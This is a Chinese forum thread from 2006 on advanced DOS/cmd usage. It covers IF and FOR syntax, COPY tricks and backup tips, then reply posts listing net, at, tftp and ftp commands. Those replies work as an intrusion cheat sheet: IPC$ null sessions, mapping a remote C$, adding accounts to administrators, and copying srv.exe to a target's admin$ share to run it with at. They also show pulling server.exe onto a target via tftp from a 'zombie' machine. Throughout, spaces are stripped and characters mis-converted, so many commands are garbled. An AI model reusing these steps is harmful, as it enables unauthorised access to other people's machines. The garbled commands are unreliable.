DOS命令行高級應用


 執行多個命令時,命令這間加&來隔開
  if命令及變量基本格式:
  IF[not]errorlevel數字命令語句若是程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件爲「真」。
  例:IFerrorlevel0命令指程序執行後返回的值爲0時,就值行後面的命令;IFnoterrorlevel1命令指程序執行最後返回的值不等於1,就執行後面的命令。
  0指發現併成功執行(真);1指沒有發現、沒執行(假)。
  IF[not]字符串1==字符串2命令語句若是指定的文本字符串匹配(即:字符串1等於字符串2),就執行後面的命令。
  例:「if"%2%"=="4"gotostart」指:若是輸入的第二個變量爲4時,執行後面的命令(注意:調用變量時就%變量名%並加"")
  IF[not]exist文件名命令語句若是指定的文件名存在,就執行後面的命令。
  例:「ifnotnc.exegotoend」指:若是沒有發現nc.exe文件就跳到":end"標籤處。
  IF[not]errorlevel數字命令語句else命令語句或IF[not]字符串1==字符串2命令語句else命令語句或IF[not]exist文件名命令語句else命令語句加上:else命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else必須與if在同一行纔有效。當有del命令時需把del命令所有內容用括起來,由於del命令要單獨一行時才能執行,用上後就等因而單獨一行了;例如:「ifexisttest.txt.elseechotest.txt.missing」,注意命令中的「.」
  for命令及變量基本格式:
  FOR/參數%variableIN(set)DOcommand[command_parameters]%variable:指定一個單一字母可替換的參數,如:%i,而指定一個變量則用:%%i,而調用變量時用:%i%,變量是區分大小寫的(%i不等於%I)。
  批處理每次能處理的變量從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認爲使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:netuse\\ip\ipc$pass/user:user中ip爲%1,pass爲%2,user爲%3
  (set):指定一個或一組文件,可以使用通配符,如:(D:\user.txt)和(11254)(1-1254),{「(11254)」第一個"1"指起始值,第二個"1"指增加量,第三個"254"指結束值,即:從1到254;「(1-1254)」說明:即從254到1}
  command:指定對第個文件執行的命令,如:netuse命令;如要執行多個命令時,命令這間加:&來隔開
  command_parameters:爲特定命令指定參數或命令行開關
  IN(set):指在(set)中取值;DOcommand:指執行command
  參數:/L指用增量形式{(set)爲增量形式時};/F指從文件中不斷取值,直到取完爲止{(set)爲文件時,如(d:\pass.txt)時
  追趕unixfor-深刻WinXP的for命令
  用途:for命令用於處理文本操做,該文本能夠是文本文件,別的命令的文本輸出等等。借用管道操做符"|",能夠實現多個命令的鏈接操做,支持管道操做符的命令有find,more和sort(輸入文件用"
  tips:
  ·在批處理文件中使用FOR命令時,指定變量請使用%%variable,而不要用%variable。批處理文件命令查詢WinXP幫助:命令行batchfiles。
  ·默認以文本的行做爲處理單位,逐行進行處理。
  ·變量名稱是區分大小寫的,因此%i不一樣於%I。
  ·若是不想看到中間命令的顯示,在命令前加上dos命令@來屏蔽命令顯示。
  ·批處理文件中不想看到for命令的顯示,在for前加上@符號屏蔽命令顯示便可。
  ·最詳細的介紹請輸入for/?和查找winXP的幫助:命令行for。
  1.基本形式,獲取文件名。
  格式:千萬注意in和左括號之間要有空格分隔!(下同)
  for一個變量in(文件/路徑集)do命令+變量
  ------------------------------
  |||
  |||
  變量聲明||
  提取條件(多個用空格分隔)|
  |
  須要執行的命令,參數是變量的值(即提取結果)
  獲得文件名,變量替換,最後執行do後面指定的命令,變量已經替換爲了文件名。若是是多個文件名,那麼就屢次執行那個命令,變量挨個取值。
  例子1:
  for%ain(*.doc*.txt)dodir%a
  則獲取當前目錄下的doc和txt文件名,而後把結果挨個發給dir命令做爲參數。
  例子2:
  for%ain(c:\d:\*.docd:\*.txt)do@dir%a|find"txt"
  獲取c盤根目錄的全部文件名,以及d盤根目錄下的doc和txt文件名,而後把結果挨個發送給dir命令做爲它的命令行參數,而後dir顯示的結果將發送給find命令,由find來顯示含有txt字樣的行,這樣能夠過濾其它多餘的信息。dir前面的@符號是dos屏蔽命令行顯示用的。
  從上面的簡單例子能夠看出,for命令不是編程語言中的循環操做,它執行的是把括號中的值依次放入do後面的指定命令的變量中,以得到命令執行後的輸出文本。下文對輸出文本控制格式的介紹將展現for命令的強大一面。(也能夠用它做爲循環指令,見例子6)。
  注意:for命令對括號中的命令將預先執行,如(*.doc*.txt),則發送給dir命令的參數已是當前目錄下全部的txt和doc的文件名了,而dir,type等dos命令的文件名參數若是是帶有空格、等號等特殊字符的文件/目錄名,會顯示找不到文件。個人系統簡體中文版WinXPproSP1下的cmd環境運行是這個效果,不知道其它環境的運行效果如何。解決方法,使用變量的替換形式:使用文件名的8.3格式的短名稱,見例子14
  2.獲取目錄名
  格式:
  for/D...in(...)do...
  獲得目錄名(不包括子目錄),賦給變量,最後執行do後面指定的命令,變量已經替換爲了目錄名。若是是多個目錄名,那麼就屢次執行那個命令,變量挨個取值。
  例子3:
  for/D%ain(pro*)dodir%a
  列舉當前目錄下與以pro爲開頭的目錄名,而後把結果發送給dir進行挨個顯示。一樣須要注意dir命令不能處理有空格、等號等特殊字符的文件名的問題。解決方法,是要求變量使用文件名的8.3格式的短名稱,見例子14.
  3.遞歸的目錄操做
  格式:
  for/R...in(包含通配符*和?)do...
  獲得當前的目錄名/文件名,以及全部的子目錄下的目錄/文件名。而後把結果挨個發送給do後面指定的命令做爲參數。
  例子4:
  for/Rd:\download%ain(*.txt)dotype%a
  從d:\download目錄(不指定則默認當前目錄)開始,將列舉它下面全部的的txt文件名(包括子目錄裏的),結果發送給type後將挨個顯示這些文件的內容。一樣有dir不能處理特殊文件名問題須要注意,解決方法,是要求變量使用文件名的8.3格式的短名稱,見例子14。
  例子5:
  for/Rd:\download%ain(.)dodir%a
  由於只是一個句號(.),因此從d:\download目錄(不指定則默認當前目錄)開始,列舉它下面全部的目錄名(包括子目錄),結果傳送給dir做爲參數,則dir將顯示全部目錄下的文件,一樣有特殊文件名問題須要注意,解決方法,是要求變量使用文件名的8.3格式的短名稱,見例子14。
  *沒法指定特定的目錄(或子目錄),只能列舉全部,而後對結果再進行選擇處理。
  4.重複數值範圍
  格式:
  for/L...in(起始值,步長,終了值)do...
  循環執行命令。
  例子6:
  for/L%ain(5,-1,1)dotypedirlist.txt
  把文件dirlist.txt顯示五遍.
  例子7:
  for/L%%ain(5,-1,1)docallcb.batpar
  調用cb.bat五次,傳入的命令行參數是par
  例子8:
  for/L%%ain(1,1,3)docall:testcall
  gotoend
  :testcall
  @echocalling......
  :end
  調用標號段testcall三次.
  5.重複和文件解析:
  主要用於處理應用極其普遍的csv文本表格文件。對文本文件逐行,以字段(空格或製表符爲默認的分界符)爲單位進行解析,獲得的結果是0或多個字符串,而後根據參數設置賦給相應的變量,由於變量是do後面命令的參數,因此do執行的命令的參數就是提取出來的相應字段,這樣就能夠實現對csv文件的處理。實踐中發現默認用分號作爲行尾符(行結束符)來跳過不進行處理的行。須要專門的解析關鍵字來指定須要獲取第幾個字段,什麼是行尾符等等,由於須要處理多個字段,因此支持多個變量。有三種用法以下:
  1)for/F"..."...in(...)do........
  ||||
  ||||
  解析關鍵字變量文件/路徑名集命令+變量
  對每一個文件的內容逐行讀取,讀取字段進行操做。默認跳過空行,每行只處理第一個字段(之後稱爲令牌,由於windows幫助裏面這麼叫的),默認的行尾符是分號,即處理的時候忽略以分號開頭的行,固然行中間若是出現分號,則分號後面的字符就被忽略。多個解析關鍵字也是以空格分隔。
  例子9:
  for/F%ain(dirlist1.txtdirlist2.txt)doecho%a
  沒有設置指定令牌的解析關鍵字,因此採用默認的設置進行執行。解析文件dirlist1.txt和dirlist2.txt的內容,並把結果做爲參數發送給echo來進行顯示。顯示的內容是每行的第一個令牌,含有分號(默認的行尾符)的令牌將被自動忽略該行分號後的內容,並且忽略了以分號開頭的行不進行處理。
  例子10:
  for/F"eol=/tokens=4-6delims=,"%din(dirlist1.txtdirlist2.txt)do@echo%d%e%f
  把dirlist1.txt和dirlist2.txt的每行第4,5,6個字段的內容提取出來,賦給變量%d%e%f(只需指定第一個變量%d,%e和%f不需顯式的聲明直接就可使用)發送給echo做爲參數。
  例子11:
  for/F"eol=/tokens=2,3*delims=,"%ain(dirlist1.txtdirlist2.txt)doecho%a%b%c
  把dirlist1.txt和dirlist2.txt的每行第2,3個字段的內容提取出來,賦給變量%a%b(只需指定第一個變量%a,%b和%c不需顯式的聲明直接就可使用),最後的星號表示第三個字段後面的全部令牌都發送給最後的變量%c,發送給echo做爲參數。
  解析關鍵字功能以下:
  用"eol=,"指定行尾字符(只一個字符)。以分號開頭的行都被忽略。
  用"skip=n"指定在文件的開頭跳過的行數。對於有些命令,前面幾行的輸出都是版權信息等無用字符。
  用"delims=,"指定定界符集合是逗號(能夠有多個,如:,表示逗號和空格都算分界符,因此想設置空格的狀況須要是最後一個參數)。這將替換空格和製表符的默認分隔符集。
  用"tokens=x,y,m-n"表示把第幾個令牌賦給變量,順次排列。即第x個令牌賦給%a,第y個令牌賦給%b(由於有了%a,則默認的字母順序遞增的變量能夠在do後面指定的命令中直接引用),m-n是延續的範圍,也就是把從第m個開始,到第n個的令牌順次賦給變量。變量不須要挨個聲明,只須要在in的前面聲明第一個,後面的變量自動根據tokens指定的令牌數目隱含的被聲明瞭,能夠直接在do後面的變量中使用。若是m、n不是數字而是星號(*),那麼表示該行剩餘的全部令牌都賦給最後一個變量。tokens=的格式靈活,能夠寫"tokens=2,5,9,14"的形式,也能夠對連續的令牌使用諸如"tokens=3-8","tokens=3,5,6,8-10"的形式。
  2)for/F"usebackq...".....in("...")do............
  ||||
  ||||
  加usebackq的解析關鍵字|||
  變量文件/路徑名命令+變量
  解析關鍵字前面加上usebackq,表示在in()中要使用引號/單引號/反單引號。引號表示是文件名,其實除了只能有一個文件名外,跟第一種用法徹底同樣。
  3)for/F"usebackq..."........in('...')do........
  ||||
  ||||
  加usebackq的解析關鍵字|||
  變量文件/路徑名命令+變量
  解析關鍵字前面加上usebackq,表示在in()中要使用引號/單引號/反單引號。單引號表示把其中的內容看做從某個文件輸入的單行,是字符串而不是文件名。
  例子12:
  for/F"usebackqtokens=2,4delims=/"%iIN('1/2/34/5/6/7/890')DO@echo%j---%i
  令牌的分界符是「/」和空格,因此第2個令牌賦給%i,第4個令牌賦給%j,根據的echo的參數順序,則最後在屏幕上顯示的內容是:4---2。
  *個人系統上的試驗,若是令牌空,則不計數,以有內容的令牌爲準.
  4)for/F"usebackq..."...in(`...`)do...
  解析關鍵字前面加上usebackq,表示在in()中要使用引號/單引號/反單引號。反單引號表示把括號裏的內容看做命令,先執行該命令,而後把輸出賦給變量,交給do後面的命令挨個執行。
  例子13:
  for/F"usebackqdelims=="%iIN(`set`)DO@echo%i|find"PATH"/I
  顯示當前環境中的環境變量名帶有path字樣的行。
  6.變量替換:
  格式:
  %~加關鍵字加變量名(變量是顯式聲明過的)
  若是變量的值是提取出的文件名或者路徑名,變量替換能夠實現對文件和路徑的修飾。好比%~f能夠把變量變爲完整的路徑名,或者%~s把變量的值變爲只包含短名稱(能夠解決dir、等命令對長文件名不支持空格等號的問題),組合的%~fs把變量展開到完整的短路徑名,甚至把本來是文件名的變量變成該文件的大小(%~z)、該文件的日期時間(%~t)。具體列表參考windows幫助裏面的介紹。
  例子14:(改自例子2)
  for%ain(*.txt)do@dir%~sa|find"txt"
  -----------------
  ||
  ||
  用@來屏蔽dos命令顯示|
  |
  變量%a的替換方式,文件名只包含短名稱
  發送給dir的參數是8.3格式的文件名,這樣對dir,type等dos命令能夠完美的支持了。顯示結果:原來名爲「slist.txt」和「=slist.txt」這樣的文件名如今能夠轉成短文件名格式發送給dos命令,最終被find命令完美的顯示出來。
  例子15:
  for%ain(*.txt)do@echo%~fa%~zaBytes
  顯示目錄下全部txt文件的名稱和大小,Byte不是變量因此原樣顯示。
  若是D盤的根目錄下有文件dirlist3.txt和=slist.txt,則顯示的結果是:
  D:\test\dirlist3.txt536Bytes
  D:\test\=slist.txt1452Bytes
  7.綜合應用
  例子16:
  for/f"usebackqskip=7tokens=3,4"%ain(`dir`)do@ifexist%becho%b------%a
  顯示當前目錄下的文件和文件夾。顯示結果以下:
  dirlist3.txt------536
  slist.txt------1,452
  may------
  ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  -----------------------------------------------------------------------------------------------------------------------------------------------------------
  顯示文本文件內容:(=TYPE)
  COPY文件名CON
  二、顯示特殊文件內容:
  COPY文件名CON/B
  三、顯示文件名:(=DIR)
  COPY*.*NUL
  四、打印文件內容:
  COPY文件名PRN
  五、將鍵盤輸入的內容打印出來:
  COPYCONPRN
  六、刪除文件:(=DEL)
  COPYNUL文件名
  七、創建新文件:
  COPYCON文件名
  八、改文件日期:
  COPY文件名+,,
  九、鏈接兩個文件:
  COPY文件1+文件2
  十、校驗兩個文件:
  COPY文件1文件2/V
  :dos高級技術
  Windows98中「個人文檔(MyDocuments)」是用戶自建文件的集中存放地,它因爲體積較大,備份起來顯得很麻煩。若是在DOS下備份,就容易多了,具體方法以下:
  一、單擊「開始/程序/MS-DOS方式」,在DOS提示符下鍵入pdos95.bat,回車,系統進
  入Windows9x的中文DOS方式。
  二、輸入「attribc:\mydocu~1\*.*+a/s」,回車。「MyDocuments」的DOS8.3格式的名稱是「mydocu~1」,「+a」表示把文件設置爲存檔屬性,「/s」表示對指定文件夾下的子文件夾也進行操做。
  三、輸入「xcopyc:\mydocu~1\*.*/m/s/w」,回車(如圖1)。「/m」表示只複製存檔屬性的文件,而且在複製完一個文件後即復原文件屬性,「/w」表示在複製前顯示提示信息。圖1
  四、當第一張軟盤寫滿時,根據提示,插入後續磁盤,並在每插入一張新軟盤後輸入如第3步中的字符或直接按[F3]。以上方法對其餘文件一樣適用。指定目錄進入DOS若是能在DOS下就直接進入本身想要的目錄,的確能夠帶來不少方便。其實也很簡單,右鍵單擊MS-DOS方式,在彈出的菜單中選擇「屬性」,找到「程序」標籤,在「工做目錄」欄中輸入目標目錄(如圖2)。圖2查看網絡配置信息你們知道在控制面板的「Internet選項」中只能查看如網絡協議、本機IP地址等一些基本的網絡配置信息。但若是咱們將系統切換到MS-DOS方式下並輸入命令「ipconfig/all」,則能得到更詳細全面的網絡配置信息(如圖3)。在右鍵中加入DOS方式打開記事本,輸入如下文本:REGEDIT4[EY_CLASSES_ROOT\Folder\shell\MS-DOS方式][EY_CLASSES_ROOT\Folder\shell\MS-DOS方式\command]@=」c:\\windows\\command.com」以「REG」爲擴展名保存上述文本,並雙擊此文件將其導入註冊表。這樣當咱們在桌面上或在資源管理器中右擊任意目標目錄後再選擇「MS-DOS方式」,即可直接進入以該目錄爲提示符的DOS方式。
  做者:diablo6182006-4-1314:25回覆此發言
  --------------------------------------------------------------------------------
  7回覆:dos高級技術
  圖一
  貼子相關圖片:
  做者:diablo6182006-4-1314:30回覆此發言
  --------------------------------------------------------------------------------
  8回覆:dos高級技術
  圖二
  貼子相關圖片:
  做者:diablo6182006-4-1314:30回覆此發言
  --------------------------------------------------------------------------------
  9回覆:dos高級技術
  圖三
  貼子相關圖片:
  做者:diablo6182006-4-1314:31回覆此發言
  --------------------------------------------------------------------------------
  10dos:FOR高級技術
  之前常以爲DOS的命令行功能太弱,沒法象UNIX同樣能夠用命令行完成很是複雜的操做。實際上,當MS從WIN2K開始將命令行加強後,已經借鑑了至關多UNIX的優勢,雖然還沒法作到象UNIX那麼靈活,但已可完成絕大多數的任務,好比用&&和||鏈接兩個(或更多)命令,由前一個的返回值來決定下一個是否執行,等等。而在這些加強中,最明顯的,就是FOR命令。
  舉個例子,用適當的參數,可用FOR命令將date/t的輸出從"Sat07/13/2002"變成你想要的格式,好比,"2002-07-13":
  c:\>for/f"tokens=2,3,4delims=/"%ain('date/t')do@echo%c-%a-%b
  2002-07-13
  該例將在(3)中詳細說明。
  0.基本應用
  簡單說,FOR是個循環,能夠用你指定的循環範圍生成一系列命令。最簡單的例子,就是人工指定循環範圍,而後對每一個值執行指定的命令。例如,想快速報告每一個硬盤分區的剩餘空間:
  for%ain(c:d:e:fdo@dir%a\|find"bytesfree"
  將輸出:
  8Dir(s)1,361,334,272bytesfree
  15Dir(s)8,505,581,568bytesfree
  12Dir(s)12,975,149,056bytesfree
  7Dir(s)11,658,854,400bytesfree
  用它可使一些不支持通配符的命令對一系列文件進行操做。在WIN9X中,TYPE命令(顯示文件內容)是不支持*.txt這種格式的(WIN2K開始TYPE已支持通配)。遇到相似狀況就能夠用FOR:
  for%ain(*.txt)dotype%a
  這些還不是FOR最強大的功能。我認爲它最強大的功能,表如今如下這些高級應用:
  1.能夠用/r參數遍歷整個目錄樹
  2.能夠用/f參數將文本文件內容做爲循環範圍
  3.能夠用/f參數將某一命令執行結果做爲循環範圍
  4.能夠用%~操做符將文件名分離成文件名、擴展名、盤符等獨立部分
  現分別舉例說明以下:
  1.用/r遍歷目錄樹
  當用*.*或*.txt等文件名通配符做爲for/r的循環範圍時,能夠對當前目錄下全部文件(包括子目錄裏面的文件)進行操做。舉個例子,你想在當前目錄的全部txt文件(包括子目錄)內容中查找"bluebear"字樣,但因爲find自己不能遍歷子目錄,因此咱們用for:
  for/r.%ain(*.txt)do@find"bluebear"%a
  find前面的@只是讓輸出結果不包括find命令自己。這是DOS很早就有的功能。和FOR無關。
  當用.做爲循環範圍時,for只將子目錄的結構(目錄名)做爲循環範圍,而不包括裏面的文件。有點象TREE命令,不過側重點不一樣。TREE的重點是用很漂亮易讀的格式輸出,而FOR的輸出適合一些自動任務,例如,咱們都知道用CVS管理的項目中,每一個子目錄下都會有一個CVS目錄,有時在軟件發行時咱們想把這些CVS目錄所有去掉:
  for/r.%ain(.)do@ifexist%a\CVSrd/s/q%a\CVS
  先用ifexist判斷一下,是由於for只是機械的對每一個目錄進行列舉,若是有些目錄下面沒有CVS也會被執行到。用ifexist判斷一下比較安全。
  這種刪除命令威力太大,請當心使用。最好是在真正執行以上的刪除命令前,將rd/s/q換成@echo先列出要刪出的目錄,確認無誤後再換回rd/s/q:
  for/r.%ain(.)do@ifexist%a\CVS@echo%a\CVS
  可能目錄中會多出一層".",好比c:\proj\release\.\CVS,但不會影響命令的執行效果。
  2.將某一文件內容或命令執行結果做爲循環範圍:
  假如你有一個文件todel.txt,裏面是全部要刪除的文件列表,如今你想將裏面列出的每一個文件都刪掉。假設這個文件是每一個文件名佔一行,象這樣:
  c:\temp\a1.txt
  c:\temp\a2.txt
  c:\temp\subdir\b3.txt
  c:\temp\subdir\b4.txt
  那麼能夠用FOR來完成:
  for/f%ain(todel.txt)dodel%a
  這個命令還能夠更強大。好比你的todel.txt並非象上面例子那麼幹淨,而是由DIR直接生成,有一些沒用的信息,好比這樣:
  做者:diablo6182006-4-1314:32回覆此發言
  --------------------------------------------------------------------------------
  13回覆:dos高級技術
  netuse[url=file://\\ip\ipc$]\\ip\ipc$[/url]""/user:""創建IPC空連接
  netuse[url=file://\\ip\ipc$]\\ip\ipc$[/url]"密碼"/user:"用戶名"創建IPC非空連接
  netuseh:[url=file://\\ip\c$]\\ip\c$[/url]"密碼"/user:"用戶名"直接登錄後映射對方C:到本地爲H:
  netuseh:[url=file://\\ip\c$]\\ip\c$[/url]登錄後映射對方C:到本地爲H:
  netuse[url=file://\\ip\ipc$]\\ip\ipc$[/url]/del刪除IPC連接
  netuseh:/del刪除映射對方到本地的爲H:的映射
  netuser用戶名密碼/add創建用戶
  netuserguest/active:yes激活guest用戶
  netuser查看有哪些用戶
  netuser賬戶名查看賬戶的屬性
  netlocalgroupadministrators用戶名/add把「用戶」添加到管理員中使其具備管理員權限,注意:administrator後加s用複數
  netstart查看開啓了哪些服務
  netstart服務名開啓服務;(如:netstarttelnet,netstartschedule)
  netstop服務名中止某服務
  nettime\\目標ip查看對方時間
  nettime\\目標ip/set設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
  netview查看本地局域網內開啓了哪些共享
  netview[url=file://\\ip]\\ip[/url]查看對方局域網內開啓了哪些共享
  netconfig顯示系統網絡設置
  netlogoff斷開鏈接的共享
  netpause服務名暫停某服務
  netsendip"文本信息"向對方發信息
  netver局域網內正在使用的網絡鏈接類型和信息
  netshare查看本地開啓的共享
  netshareipc$開啓ipc$共享
  netshareipc$/del刪除ipc$共享
  netsharec$/del刪除C:共享
  netuserguest12345用guest用戶登錄後用將密碼改成12345
  netpassword密碼更改系統登錄密碼
  netstat-a查看開啓了哪些端口,經常使用netstat-an
  netstat-n查看端口的網絡鏈接狀況,經常使用netstat-an
  netstat-v查看正在進行的工做
  netstat-p協議名例:netstat-ptcq/ip查看某協議使用狀況(查看tcp/ip協議使用狀況)
  netstat-s查看正在使用的全部協議使用狀況
  nbtstat-Aip對方136到139其中一個端口開了的話,就可查看對方最近登錄的用戶名(03前的爲用戶名)-注意:參數-A要大寫
  tracert-參數ip(或計算機名)跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
  pingip(或域名)向對方主機發送默認大小爲32字節的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
  ping-t-l65550ip死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
  ipconfig(winipcfg)用於windowsNT及XP(windows9598)查看本地ip地址,ipconfig可用參數「/all」顯示所有配置信息
  tlist-t以樹行列表顯示進程(爲系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
  kill-F進程名加-F參數後強制結束某進程(爲系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
  del-F文件名加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔之外的文件。例如「DEL/AR*.*」表示刪除當前目錄下全部只讀文件,「DEL/A-S*.*」表示刪除當前目錄下除系統文件之外的全部文件
  #2二:
  del/S/Q目錄或用:rmdir/s/Q目錄/S刪除目錄及目錄下的全部子目錄和文件。同時使用參數/Q可取消刪除操做時的系統確認就直接刪除。(二個命令做用相同)
  move盤符\路徑\要移動的文件名存放移動文件的路徑\移動後文件名移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
  fcone.txttwo.txt>3st.txt對比二個文件並把不一樣之處輸出到3st.txt文件中,">"和">>"是重定向命令
  atid號開啓已註冊的某個計劃任務
  at/delete中止全部計劃任務,用參數/yes則不須要確認就直接中止
  做者:diablo6182006-4-1314:37回覆此發言
  --------------------------------------------------------------------------------
  14回覆:dos高級技術
  atid號/delete中止某個已註冊的計劃任務
  at查看全部的計劃任務
  at[url=file://\\ip]\\ip[/url]time程序名(或一個命令)/r在某時間運行對方某程序並從新啓動計算機
  fingerusername@host查看最近有哪些用戶登錄
  telnetip端口遠和登錄服務器,默認端口爲23
  openip鏈接到IP(屬telnet登錄後的命令)
  telnet在本機上直接鍵入telnet將進入本機的telnet
  copy路徑\文件名1路徑\文件名2/y複製文件1到指定的目錄爲文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
  copyc:\srv.exe[url=file://\\ip\admin$]\\ip\admin$[/url]複製本地c:\srv.exe到對方的admin下
  cppy1st.jpg/b+2st.txt/a3st.jpg將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
  copy[url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url]c:\或:copy\\ip\admin$\*.*複製對方admini$共享下的srv.exe文件(全部文件)至本地C:
  xcopy要複製的文件或目錄樹目標地址\目錄名複製文件和目錄樹,用參數/Y將不提示覆蓋相同文件
  tftp-i本身IP(用肉機做跳板時這用肉機IP)getserver.exec:\server.exe登錄後,將「IP」的server.exe下載到目標主機c:\server.exe參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i則以ASCII模式(傳送文本文件模式)進行傳送
  tftp-i對方IPputc:\server.exe登錄後,上傳本地c:\server.exe至主機
  ftpip端口用於上傳文件至服務器或進行文件操做,默認端口爲21。bin指用二進制方式傳送(可執行文件進);默認爲ASCII格式傳送(文本文件時)
  routeprint顯示出IP路由,將主要顯示網絡地址Networkaddres,子網掩碼Netmask,網關地址Gatewayaddres,接口地址Interface
  arp查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp-a將顯示出所有信息
  start程序名或命令/max或/min新開一個新窗口並最大化(最小化)運行某程序或命令
  mem查看cpu使用狀況
  attrib文件名(目錄名)查看某文件(目錄)的屬性
  attrib文件名-A-R-S-H或+A+R+S+H去掉(添加)某文件的存檔,只讀,系統,隱藏屬性;用+則是添加爲某屬性
  dir查看文件,參數:/Q顯示文件及目錄屬系統哪一個用戶,/T:C顯示文件建立時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
  date/t、time/t使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而沒必要輸入新日期和時間
  set指定環境變量名稱=要指派給變量的字符設置環境變量
  set顯示當前全部的環境變量
  setp(或其它字符)顯示出當前以字符p(或其它字符)開頭的全部環境變量
  pause暫停批處理程序,並顯示出:請按任意鍵繼續....
  if在批處理程序中執行條件處理(更多說明見if命令及變量)
  goto標籤將cmd.exe導向到批處理程序中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:「:start」標籤)
  call路徑\批處理文件名從批處理程序中調用另外一個批處理程序(更多說明見call/?)
  for對一組文件中的每個文件執行某個特定命令(更多說明見for命令及變量)
  echoon或off打開或關閉echo,僅用echo不加參數則顯示當前echo設置
  echo信息在屏幕上顯示出信息
  echo信息>>pass.txt將"信息"保存到pass.txt文件中
  findstr"Hello"aa.txt在aa.txt文件中尋找字符串hello
  find文件名查找某文件
  title標題名字更改CMD窗口標題名字
  color顏色值設置cmd控制檯前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
  prompt名稱更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改成:EntSky\)
  #3三:
  ver在DOS窗口下顯示版本信息
  做者:diablo6182006-4-1314:37回覆此發言
  --------------------------------------------------------------------------------
  15回覆:dos高級技術
  winver彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
  format盤符/FS:類型格式化磁盤,類型:FAT、FAT3二、NTFS,例:FormatD:/FS:NTFS
  md目錄名建立目錄
  replace源文件要替換文件的目錄替換文件
  ren原文件名新文件名重命名文件名
  tree以樹形結構顯示出目錄,用參數-f將列出第個文件夾中文件名稱
  type文件名顯示文本文件的內容
  more文件名逐屏顯示輸出文件
  doskey要鎖定的命令=字符
  doskey要解鎖命令=爲DOS提供的鎖定命令(編輯命令行,從新調用win2k命令,並建立宏)。如:鎖定dir命令:doskeydir=entsky(不能用doskeydir=dir);解鎖:doskeydir=
  taskmgr調出任務管理器
  chkdsk/FD:檢查磁盤D並顯示狀態報告;加參數/f並修復磁盤上的錯誤
  tlntadmntelnt服務admn,鍵入tlntadmn選擇3,再選擇8,就能夠更改telnet服務默認端口23爲其它任何端口
  exit退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
  path路徑\可執行文件的文件名爲可執行文件設置一個路徑。
  cmd啓動一個win2K命令解釋窗口。參數:/eff、/en關閉、開啓命令擴展;更我詳細說明見cmd/?
  regedit/s註冊表文件名導入註冊表;參數/S指安靜模式導入,無任何提示;
  regedit/e註冊表文件名導出註冊表
  cacls文件名參數顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D用戶名:設定拒絕某用戶訪問;/P用戶名:perm替換指定用戶的訪問權限;/G用戶名:perm賦予指定用戶訪問權限;Perm能夠是:N無,R讀取,W寫入,C更改(寫入),F徹底控制;例:caclsD:\test.txt/Dpub設定d:\test.txt拒絕pub用戶訪問。
  cacls文件名查看文件的訪問用戶權限列表
  REM文本內容在批處理文件中添加註解
  netsh查看或更改本地網絡配置狀況
  #4四:
  IIS服務命令:
  iisreset/reboot重啓win2k計算機(但有提示系統將重啓信息出現)
  iisreset/start或stop啓動(中止)全部Internet服務
  iisreset/restart中止而後從新啓動全部Internet服務
  iisreset/status顯示全部Internet服務狀態
  iisreset/enable或disable在本地系統上啓用(禁用)Internet服務的從新啓動
  iisreset/rebootonerror當啓動、中止或從新啓動Internet服務時,若發生錯誤將從新開機
  iisreset/noforce若沒法中止Internet服務,將不會強制終止Internet服務
  iisreset/timeoutVal在到達逾時間(秒)時,仍未中止Internet服務,若指定/rebootonerror參數,則電腦將會從新開機。預設值爲從新啓動20秒,中止60秒,從新開機0秒。
  FTP命令:(後面有詳細說明內容)
  ftp的命令行格式爲:
  ftp-v-d-i-n-g[主機名]-v顯示遠程服務器的全部響應信息。
  -d使用調試方式。
  -n限制ftp的自動登陸,即不使用.netrc文件。
  -g取消全局文件名。
  help[命令]或?[命令]查看命令說明
  bye或quit終止主機FTP進程,並退出FTP管理方式.
  pwd列出當前遠端主機目錄
  put或send本地文件名[上傳到主機上的文件名]將本地一個文件傳送至遠端主機中
  get或recv[遠程主機文件名][下載到本地後的文件名]從遠端主機中傳送至本地主機中
  mget[remote-files]從遠端主機接收一批文件至本地主機
  mputlocal-files將本地主機中一批文件傳送至遠端主機
  dir或ls[remote-directory][local-file]列出當前遠端主機目錄中的文件.若是有本地文件,就將結果寫至本地文件
  ascii設定以ASCII方式傳送文件(缺省值)
  bin或p_w_picpath設定以二進制方式傳送文件
  bell每完成一次文件傳送,報警提示
  cdup返回上一級目錄
  close中斷與遠程服務器的ftp會話(與open對應)
  openhost[port]創建指定ftp服務器鏈接,可指定鏈接端口
  做者:diablo6182006-4-1314:37回覆此發言
  --------------------------------------------------------------------------------
  16回覆:dos高級技術
  delete刪除遠端主機中的文件
  mdelete[remote-files]刪除一批文件
  mkdirdirectory-name在遠端主機中創建目錄
